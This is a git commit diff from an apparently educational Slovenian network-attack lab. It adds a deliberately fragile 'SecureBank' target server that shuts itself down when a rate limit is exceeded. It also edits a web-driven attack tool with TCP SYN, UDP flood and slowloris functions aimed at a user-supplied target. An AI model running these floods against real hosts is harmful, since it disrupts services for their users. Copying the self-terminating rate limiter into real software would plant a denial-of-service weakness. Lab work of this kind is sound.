Buncha fixes and binaries

This commit is contained in:
K_lar 2026-02-12 14:49:56 +01:00
parent 0d0f1abbee
commit 0a52407117
10 changed files with 160 additions and 41 deletions

BIN
bank/dist/securebank-linux vendored Executable file

Binary file not shown.

BIN
bank/dist/securebank-macos vendored Executable file

Binary file not shown.

Binary file not shown.

View file

@ -7,8 +7,11 @@ import (
"html/template" "html/template"
"io/fs" "io/fs"
"log" "log"
"net"
"net/http" "net/http"
"os"
"sync" "sync"
"time"
) )
//go:embed templates/* //go:embed templates/*
@ -58,6 +61,7 @@ func addUser(username, password, email, fullName string) {
func main() { func main() {
// Nastavimo port preko command line argumenta // Nastavimo port preko command line argumenta
var port = flag.String("port", "8080", "Port na katerem se bo zagnal server") var port = flag.String("port", "8080", "Port na katerem se bo zagnal server")
var rateLimit = flag.Int("rate-limit", 3000, "Maksimalno število zahtev na sekundo")
flag.Parse() flag.Parse()
// Naložimo HTML predloge iz embedded FS // Naložimo HTML predloge iz embedded FS
@ -67,29 +71,140 @@ func main() {
log.Fatal("Napaka pri nalaganju embedded predlog:", err) log.Fatal("Napaka pri nalaganju embedded predlog:", err)
} }
// Create rate killer first
killer := newRateKiller(*rateLimit)
// Start network attack monitors with direct access to killer
go monitorTCP(killer)
go monitorUDP(killer)
// Statične datoteke iz embedded FS // Statične datoteke iz embedded FS
staticSubFS, err := fs.Sub(staticFS, "static") staticSubFS, err := fs.Sub(staticFS, "static")
if err != nil { if err != nil {
log.Fatal("Napaka pri ustvarjanju static subFS:", err) log.Fatal("Napaka pri ustvarjanju static subFS:", err)
} }
http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.FS(staticSubFS)))) mux := http.NewServeMux()
mux.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.FS(staticSubFS))))
// Routes // Routes
http.HandleFunc("/", homeHandler) mux.HandleFunc("/", homeHandler)
http.HandleFunc("/register", registerHandler) mux.HandleFunc("/register", registerHandler)
http.HandleFunc("/login", loginHandler) mux.HandleFunc("/login", loginHandler)
http.HandleFunc("/dashboard", dashboardHandler) mux.HandleFunc("/dashboard", dashboardHandler)
http.HandleFunc("/logout", logoutHandler) mux.HandleFunc("/logout", logoutHandler)
// Zagon strežnika // Zagon strežnika
fmt.Printf("🏦 SecureBank aplikacija (embedded build)\n") fmt.Printf("🏦 SecureBank aplikacija (embedded build)\n")
fmt.Printf("Port: %s\n", *port) fmt.Printf("Port: %s\n", *port)
fmt.Printf("HTTP: http://localhost:%s\n", *port) fmt.Printf("HTTP: http://localhost:%s\n", *port)
fmt.Printf("Rate Limit: %d req/sec\n", *rateLimit)
fmt.Printf("📦 Vsi fajli so vključeni v binary!\n") fmt.Printf("📦 Vsi fajli so vključeni v binary!\n")
fmt.Println() fmt.Println()
serverAddr := ":" + *port serverAddr := ":" + *port
log.Fatal(http.ListenAndServe(serverAddr, nil)) log.Fatal(http.ListenAndServe(serverAddr, killer.wrap(mux)))
}
type rateKiller struct {
limit int
mu sync.Mutex
window time.Time
count int
}
func newRateKiller(limit int) *rateKiller {
rk := &rateKiller{
limit: limit,
window: time.Now().Truncate(time.Second),
}
// Reset counter every second
go rk.resetCounter()
return rk
}
func (rk *rateKiller) wrap(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
rk.mu.Lock()
nowWindow := time.Now().Truncate(time.Second)
if nowWindow.After(rk.window) {
rk.window = nowWindow
rk.count = 0
}
rk.count++
exceeded := rk.count > rk.limit
rk.mu.Unlock()
if exceeded {
log.Printf("CRITICAL: request rate exceeded %d req/s - shutting down", rk.limit)
os.Exit(1)
}
next.ServeHTTP(w, r)
})
}
func (rk *rateKiller) recordPacket() {
rk.mu.Lock()
rk.count++
current := rk.count
rk.mu.Unlock()
if current > rk.limit {
log.Printf("CRITICAL: attack detected - %d packets/sec exceeded limit of %d - SHUTTING DOWN", current, rk.limit)
os.Exit(1)
}
}
func (rk *rateKiller) resetCounter() {
ticker := time.NewTicker(time.Second)
defer ticker.Stop()
for range ticker.C {
rk.mu.Lock()
if rk.count > 0 {
log.Printf("📊 Rate: %d packets/sec (limit: %d)", rk.count, rk.limit)
}
rk.count = 0
rk.window = time.Now().Truncate(time.Second)
rk.mu.Unlock()
}
}
func monitorTCP(killer *rateKiller) {
listener, err := net.Listen("tcp", ":80")
if err != nil {
log.Printf("Warning: TCP monitor on :80 failed: %v", err)
return
}
defer listener.Close()
log.Println("🔍 TCP attack monitor active on :80")
for {
conn, err := listener.Accept()
if err != nil {
continue
}
killer.recordPacket()
conn.Close()
}
}
func monitorUDP(killer *rateKiller) {
conn, err := net.ListenPacket("udp", ":53")
if err != nil {
log.Printf("Warning: UDP monitor on :53 failed: %v", err)
return
}
defer conn.Close()
log.Println("🔍 UDP attack monitor active on :53")
buf := make([]byte, 1024)
for {
_, _, err := conn.ReadFrom(buf)
if err != nil {
continue
}
killer.recordPacket()
}
} }
func homeHandler(w http.ResponseWriter, r *http.Request) { func homeHandler(w http.ResponseWriter, r *http.Request) {

Binary file not shown.

View file

@ -260,12 +260,6 @@ func runAttack(ctx context.Context, session *AttackSession) {
case <-ticker.C: case <-ticker.C:
go func() { go func() {
switch session.Type { switch session.Type {
case "ping_flood":
if err := sendPing(session.Target); err == nil {
atomic.AddInt32(&session.Success, 1)
} else {
atomic.AddInt32(&session.Failed, 1)
}
case "tcp_syn": case "tcp_syn":
if err := sendTCPSyn(session.Target); err == nil { if err := sendTCPSyn(session.Target); err == nil {
atomic.AddInt32(&session.Success, 1) atomic.AddInt32(&session.Success, 1)
@ -290,18 +284,6 @@ func runAttack(ctx context.Context, session *AttackSession) {
} }
} }
func sendPing(target string) error {
conn, err := net.Dial("ip4:icmp", target)
if err != nil {
return err
}
defer conn.Close()
// Simple ICMP echo request simulation
_, err = conn.Write([]byte{8, 0, 0, 0, 0, 1, 0, 1})
return err
}
func sendTCPSyn(target string) error { func sendTCPSyn(target string) error {
conn, err := net.DialTimeout("tcp", target+":80", 1*time.Second) conn, err := net.DialTimeout("tcp", target+":80", 1*time.Second)
if err != nil { if err != nil {
@ -344,14 +326,12 @@ func sendSlowloris(target string) error {
// Send additional headers slowly to keep connection alive // Send additional headers slowly to keep connection alive
for i := 0; i < 6; i++ { // Keep alive for 60 seconds for i := 0; i < 6; i++ { // Keep alive for 60 seconds
select { <-ticker.C
case <-ticker.C:
_, err := conn.Write([]byte(fmt.Sprintf("X-Custom-Header-%d: value\r\n", i))) _, err := conn.Write([]byte(fmt.Sprintf("X-Custom-Header-%d: value\r\n", i)))
if err != nil { if err != nil {
return return
} }
} }
}
// Finally close the request // Finally close the request
conn.Write([]byte("\r\n")) conn.Write([]byte("\r\n"))
}() }()

View file

@ -3,6 +3,7 @@
class NetAttackLab { class NetAttackLab {
constructor() { constructor() {
this.activeAttacks = new Map(); this.activeAttacks = new Map();
this.progressIntervals = new Map();
this.sessionUpdateInterval = null; this.sessionUpdateInterval = null;
this.init(); this.init();
} }
@ -248,8 +249,8 @@ class NetAttackLab {
stopBtn.disabled = false; stopBtn.disabled = false;
// Add attack start log // Add attack start log
this.addLog('attack-logs', `🔥 Initiating ${type} attack on ${target}`, 'warning'); this.addLog('attack-logs', `🔥 Začetek ${type} napada na ${target}`, 'warning');
this.addLog('attack-logs', `⚙️ Parameters: ${duration}s duration, ${intensity} req/sec`, 'info'); this.addLog('attack-logs', `⚙️ Parametri: ${duration}s trajanje, ${intensity} req/sec`, 'info');
const result = await this.makeRequest('/api/attack', { const result = await this.makeRequest('/api/attack', {
target, target,
@ -259,11 +260,11 @@ class NetAttackLab {
}); });
if (result.error) { if (result.error) {
this.addLog('attack-logs', `❌ Attack failed to start: ${result.error}`, 'error'); this.addLog('attack-logs', `❌ Napad ni uspel: ${result.error}`, 'error');
attackBtn.disabled = false; attackBtn.disabled = false;
stopBtn.disabled = true; stopBtn.disabled = true;
} else { } else {
this.addLog('attack-logs', `✅ Attack session ${result.sessionId} started`, 'success'); this.addLog('attack-logs', `✅ Napadna seja ${result.sessionId} je začela`, 'success');
this.activeAttacks.set(result.sessionId, { this.activeAttacks.set(result.sessionId, {
target, target,
type, type,
@ -278,6 +279,13 @@ class NetAttackLab {
trackAttackProgress(sessionId, duration) { trackAttackProgress(sessionId, duration) {
let elapsed = 0; let elapsed = 0;
const progressInterval = setInterval(() => { const progressInterval = setInterval(() => {
// Check if attack was stopped
if (!this.activeAttacks.has(sessionId)) {
clearInterval(progressInterval);
this.progressIntervals.delete(sessionId);
return;
}
elapsed++; elapsed++;
const remaining = duration - elapsed; const remaining = duration - elapsed;
@ -286,6 +294,7 @@ class NetAttackLab {
} else { } else {
this.addLog('attack-logs', `🏁 Attack session ${sessionId} completed`, 'success'); this.addLog('attack-logs', `🏁 Attack session ${sessionId} completed`, 'success');
clearInterval(progressInterval); clearInterval(progressInterval);
this.progressIntervals.delete(sessionId);
// Re-enable attack button // Re-enable attack button
document.getElementById('attack-btn').disabled = false; document.getElementById('attack-btn').disabled = false;
@ -296,21 +305,31 @@ class NetAttackLab {
this.activeAttacks.delete(sessionId); this.activeAttacks.delete(sessionId);
} }
}, 1000); }, 1000);
// Store interval ID
this.progressIntervals.set(sessionId, progressInterval);
} }
async stopAllAttacks() { async stopAllAttacks() {
this.addLog('attack-logs', '🛑 Emergency stop initiated...', 'warning'); this.addLog('attack-logs', '🛑 Nujna ustavitev v teku...', 'warning');
for (const sessionId of this.activeAttacks.keys()) { for (const sessionId of this.activeAttacks.keys()) {
await this.makeRequest('/api/stop', { sessionId }); await this.makeRequest('/api/stop', { sessionId });
this.addLog('attack-logs', `🛑 Session ${sessionId} stopped`, 'info'); this.addLog('attack-logs', `🛑 Session ${sessionId} stopped`, 'info');
// Clear progress interval
const interval = this.progressIntervals.get(sessionId);
if (interval) {
clearInterval(interval);
this.progressIntervals.delete(sessionId);
}
} }
this.activeAttacks.clear(); this.activeAttacks.clear();
document.getElementById('attack-btn').disabled = false; document.getElementById('attack-btn').disabled = false;
document.getElementById('stop-btn').disabled = true; document.getElementById('stop-btn').disabled = true;
this.addLog('attack-logs', '✅ All attacks stopped', 'success'); this.addLog('attack-logs', '✅ Vsi napadi prekinjeni', 'success');
} }
// Session Monitoring // Session Monitoring
@ -386,6 +405,15 @@ class NetAttackLab {
async stopSession(sessionId) { async stopSession(sessionId) {
await this.makeRequest('/api/stop', { sessionId }); await this.makeRequest('/api/stop', { sessionId });
this.addLog('attack-logs', `🛑 Session ${sessionId} stopped manually`, 'warning'); this.addLog('attack-logs', `🛑 Session ${sessionId} stopped manually`, 'warning');
// Clear progress interval
const interval = this.progressIntervals.get(sessionId);
if (interval) {
clearInterval(interval);
this.progressIntervals.delete(sessionId);
}
this.activeAttacks.delete(sessionId);
this.updateSessionsTable(); this.updateSessionsTable();
} }
} }

View file

@ -92,7 +92,6 @@
<div class="input-group"> <div class="input-group">
<label>Tip Napada:</label> <label>Tip Napada:</label>
<select id="attack-type"> <select id="attack-type">
<option value="ping_flood">ICMP Echo Poplava</option>
<option value="tcp_syn">TCP SYN Poplava</option> <option value="tcp_syn">TCP SYN Poplava</option>
<option value="udp_flood">UDP Paketna Poplava</option> <option value="udp_flood">UDP Paketna Poplava</option>
<option value="slowloris">Slowloris (Počasne Povezave)</option> <option value="slowloris">Slowloris (Počasne Povezave)</option>
@ -202,9 +201,6 @@
<div class="info-section"> <div class="info-section">
<h3>Razlaga Tipov Napadov</h3> <h3>Razlaga Tipov Napadov</h3>
<div class="attack-explanation"> <div class="attack-explanation">
<h4>ICMP Echo Poplava (Ping Poplava)</h4>
<p>Pošilja hitre ICMP echo zahteve, da preobremeni zmožnost cilja za odziv. Lahko porabi pasovno širino in procesno moč.</p>
<h4>TCP SYN Poplava</h4> <h4>TCP SYN Poplava</h4>
<p>Izkorišča TCP handshake proces s pošiljanjem SYN paketov brez dokončanja povezave, kar lahko izčrpa vire povezav.</p> <p>Izkorišča TCP handshake proces s pošiljanjem SYN paketov brez dokončanja povezave, kar lahko izčrpa vire povezav.</p>